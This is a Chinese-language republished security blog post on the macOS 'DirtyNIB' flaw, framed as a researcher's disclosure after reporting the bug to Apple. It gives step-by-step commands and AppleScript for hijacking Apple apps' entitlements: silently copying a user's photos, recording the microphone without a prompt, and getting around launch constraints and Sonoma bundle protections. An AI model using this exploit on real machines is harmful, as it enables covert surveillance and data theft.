MacOSDirtyNIB漏洞

admin 2023年10月6日21:38:54评论114 views字数 8075阅读26分55秒阅读模式



MacOSDirtyNIB漏洞

在寻找将代码注入 macOS Monterey 平台二进制文件的途径时,我发现了一个允许劫持 Apple 应用程序权限的漏洞。


最近,经过长时间尝试修补该漏洞,我决定重新审视该漏洞,并惊讶地发现它仍然有效。我们将探讨 macOS 更高版本中引入的一些警告,但在这篇文章中,我们将研究 macOS Sonoma 中的一个漏洞,该漏洞已经存在很长时间了,并且至今仍然是 0day,嗯,让我们深入挖掘。


漏洞

我们不要在这上面浪费时间。macOS 中的图形应用程序通常具有由 NIB 文件定义的 UI。您之前可能已经在 XCode 中以 XIB 的形式使用过这些文件,这些文件随后在发布期间编译为 NIB:

MacOSDirtyNIB漏洞

事实证明,一旦应用程序经过 Gatekeeper 验证,交换捆绑包中的 NIB 文件不会使对权利的访问无效。这通常不会是太大的问题...所以您可以在部署应用程序后重新设计应用程序..有什么大不了的吗?嗯,不完全是。通过修改后的 NIB 来执行代码实际上非常简单,而且 Apple 喜欢向其应用程序添加私有权限。


DirtyNIB

几年来我一直将其称为“DirtyNIB”,这是一种从 NIB 文件中获取代码执行的简单方法,它的工作原理如下。


首先我们需要创建一个新的 NIB 文件,我们将使用 XCode 进行大部分构建。我们首先向界面添加一个对象并将类设置为 NSAppleScript:

MacOSDirtyNIB漏洞

对于该对象,我们需要设置初始source属性,我们可以使用用户定义的运行时属性来完成此操作:

MacOS“DirtyNIB”漏洞

这会设置我们的代码执行小工具,它将根据请求运行 AppleScript。为了真正触发 AppleScript 的执行,我们现在只需添加一个按钮(您当然可以发挥创意;)。该按钮将绑定到Apple Script我们刚刚创建的对象,并将调用executeAndReturnError:选择器:

MacOS“DirtyNIB”漏洞

为了进行测试,我们将仅使用以下 Apple 脚本:

set theDialogText to "PWND"display dialog theDialogText

如果我们在 XCode 调试器中运行它并点击按钮:

MacOS“DirtyNIB”漏洞

有了从 NIB 执行任意 AppleScript 代码的能力,我们接下来需要一个目标。让我们选择 Pages 作为我们的初始演示,它当然是一个 Apple 应用程序,当然不应该由我们修改。


我们首先将应用程序的副本放入/tmp/:

cp -a -X /Applications/Pages.app /tmp/

然后我们将启动应用程序以避免任何 Gatekeeper 问题并允许缓存内容:

open -W -g -j /Applications/Pages.app

第一次启动(并终止)应用程序后,我们需要用 DirtyNIB 文件覆盖现有的 NIB 文件。出于演示目的,我们将覆盖“关于”面板 NIB,以便我们可以控制执行:

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

一旦我们覆盖了笔尖,我们就可以通过选择About菜单项来触发执行:

MacOS“DirtyNIB”漏洞

如果我们仔细观察 Pages,我们会发现它具有允许访问用户照片的私有权限:

MacOS“DirtyNIB”漏洞

因此,我们可以通过修改 AppleScript 来测试我们的 POC,以在不提示的情况下窃取用户的照片:

use framework "Cocoa"use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

运行时:

展示了基本前提后,在开始讨论有趣的内容之前,让我们先看看 macOS 后续版本中引入的一些注意事项。


所以这个 bug 运行良好了一段时间......然后 Ventura 出现了。随之而来的是启动约束。那么什么是启动约束呢?这是苹果公司阻止我们使用之前复制平台捆绑包及其权利/tmp和修改资产的技巧的方法。本质上,它一下子消灭了一大波漏洞。


让我们快速绕一下,以帮助理解如何解析 macOS 中的启动约束列表。包含可信哈希值的数据库位于:

/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4

由于缓存采用以下img4格式,我们首先需要使用以下方法提取它img4tool:

MacOSDirtyNIB漏洞

提取缓存后,我们需要解析内容。我创建了一个脚本,可以在此处extract_trustcache.py【https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30】找到该脚本,该脚本将为我们提供 CDHASH 和 的列表:ConstraintCategory

MacOSDirtyNIB漏洞

如果我们想知道每个类别的含义,可以参考 Linus Henze 的 Gist这里https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056


现在我们需要搜索值为 的启动约束0,这允许我们复制内容进行修改。当然有很多,但为了简洁起见,我在 macOS Ventura 上找到的有:

/System/Library/Templates/Data/usr/libexec/cups/apple/ipp/System/Library/Templates/Data/usr/libexec/cups/apple/smb/System/Library/Templates/Data/usr/libexec/cups/filter/pstoappleps/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtect/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorAdload/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorGreenAcre/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorPirrit/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorDubRobber/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorMRTv3/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorTrovi/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorSnowDrift/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorSnowBeagle/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorEicar/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorWaterNet/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorGenieo/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorSheepSwap/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/MacOS/XProtectRemediatorToyDrop/System/Library/Templates/Data/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/XPCServices/XProtectPluginService.xpc/Contents/MacOS/XProtectPluginService/System/Library/Templates/Data/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileDeviceHelper.app/Contents/MacOS/AppleMobileDeviceHelper/System/Library/Templates/Data/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileDeviceHelper.app/Contents/Resources/MDCrashReportTool/System/Library/Templates/Data/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup/System/Library/Templates/Data/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/Resources/MobileDeviceUpdater.app/Contents/MacOS/MobileDeviceUpdater/System/Library/Templates/Data/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileSync.app/Contents/MacOS/AppleMobileSync/System/Library/Templates/Data/Library/Image Capture/Support/LegacyDeviceDiscoveryHelpers/AirScanLegacyDiscovery.app/Contents/MacOS/AirScanLegacyDiscovery/System/Library/PrivateFrameworks/PrintingPrivate.framework/Versions/A/Plugins/PrinterProxy.app/Contents/MacOS/PrinterProxy

在这些二进制文件中,我们现在需要缩小具有值得劫持权利的候选者的范围。在搜索时,发现最有趣的是MobileDeviceUpdater.app:

MacOSDirtyNIB漏洞

对我们来说不幸的是,由于 PkgKit 中的额外要求,之前演示的漏洞不再可行。

所以我们需要找到一个新的候选人。


寻找新候选人

因此我们知道,由于启动约束的阻碍,操作系统应用程序不再工作。因此我们需要搜索其他具有权利的 Apple 二进制文件。可以在 中找到一组有趣的二进制文件,可以从此处的

Additional_Tools_for_Xcode_15_Release_Candidate.dmgApple Developer 网站下载:

https://developer.apple.com/download/all/。


具体来说,我们将从CarPlay Simulator.appDMG 获取捆绑包,它能够在不提示的情况下从麦克风进行录音:

MacOSDirtyNIB漏洞

要实际使用 DirtyNib 文件进行录音,我们将使用以下 AppleScript:

use framework "Cocoa"use framework "Foundation"
property nil : missing value
use framework "AVFAudio"
set a to current application's NSURL's fileURLWithPath:"/tmp/recording.aac"set b to current application's AVAudioSession's sharedInstanceset c to current application's AVAudioSessionCategoryPlayAndRecordset settings to (current application's NSDictionary's dictionaryWithContentsOfFile:"/tmp/output.plist")set p1 to 1set p2 to a reference to p1
set p3 to {1.651469415E+9, 2.037412713E+9, 0}set p4 to a reference to p3
current application's AudioObjectSetPropertyData(1, p3, 0, 0, 4, p1)
tell (current application's AVAudioRecorder's alloc's initWithURL:a settings:settings |error|:nil) its |prepareToRecord| its recordForDuration:10.0end tell

AppleScript 中引用的以下序列化设置需要写入/tmp/output.plist:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict>  <key>AVFormatIDKey</key>  <integer>1633772320</integer>  <key>AVNumberOfChannelsKey</key>  <integer>1</integer>  <key>AVSampleRateKey</key>  <real>16000</real></dict></plist>

合并后,访问麦克风 TCC 权利将意味着我们:

  1. 复制一份CarPlay Simulator.app至/tmp/
  2. CarPlay Simulator.app在 Gatekeeper 中启动缓存
  3. Contents/Resources/Base.lproj/MainMenu.nib用我们的Dirty.nib文件覆盖
  4. CarPlay Simulator.app再次启动

当您按下按钮时,这应该会使用权利启动麦克风录音TCCServiceMicrophone,而不提示用户:

不幸的是,我们还没有完成。在Sonoma,我们还有一些障碍需要跨越。这是由于对未经许可访问应用程序包内容的新限制造成的。


幸运的是,这对于我们的案例来说是微不足道的。我们只介绍另外几个步骤,但我们仍然可以让它正常工作:

  1. 复制一份CarPlay Simulator.app至/tmp/

  2. 重命名/tmp/Carplay Simulator.app/Contents为/tmp/CarPlay Simulator.app/NotCon

  3. 启动二进制文件/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator以在 Gatekeeper 中缓存

  4. NotCon/Resources/Base.lproj/MainMenu.nib用我们的Dirty.nib文件覆盖

  5. 重命名为/tmp/CarPlay Simulator.app/Contents

  6. CarPlay Simulator.app再次启动

这应该足以解决新的保护措施并启动我们的 Dirty.nib 漏洞利用:

MacOSDirtyNIB漏洞

现在,这是我们如何应用此漏洞的一个示例,显然这适用于任何以下应用程序:

  1. 拥有您想要劫持的权利

  2. 适用于新的启动约束环境

例如,许多应用程序都keychain-access-groups值得探索;)

MacOSDirtyNIB漏洞

最困难的部分是弄清楚如何让 AppleScript 实际工作!

可以在此处找到本文中使用的 XIB 文件。


负责任的披露

好吧,那为什么现在要放弃这个呢?好吧,当然不是没有尝试修补它!我早在 2021 年 11 月就首次向 Apple 报告了该问题。在交换多封电子邮件后,我多次确认该问题将得到修复。我什至在此过程中遇到了 CVE (CVE-2022-48505)..但我不知道这实际上修复了什么。如果您想预览处理 Apple 的 bug 赏金计划的情况,请查看我的推文。


不幸的是,在这个阶段..我无法想象再次经历这个过程来解决这个问题。


所以我们就到这里了,如果你能通过 Apple 解决这个问题,请给我留言:)




感谢您抽出

MacOSDirtyNIB漏洞

.

MacOSDirtyNIB漏洞

.

MacOSDirtyNIB漏洞

来阅读本文

MacOSDirtyNIB漏洞

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):MacOS“DirtyNIB”漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月6日21:38:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MacOSDirtyNIB漏洞https://cn-sec.com/archives/2087921.html

发表评论

匿名网友 填写信息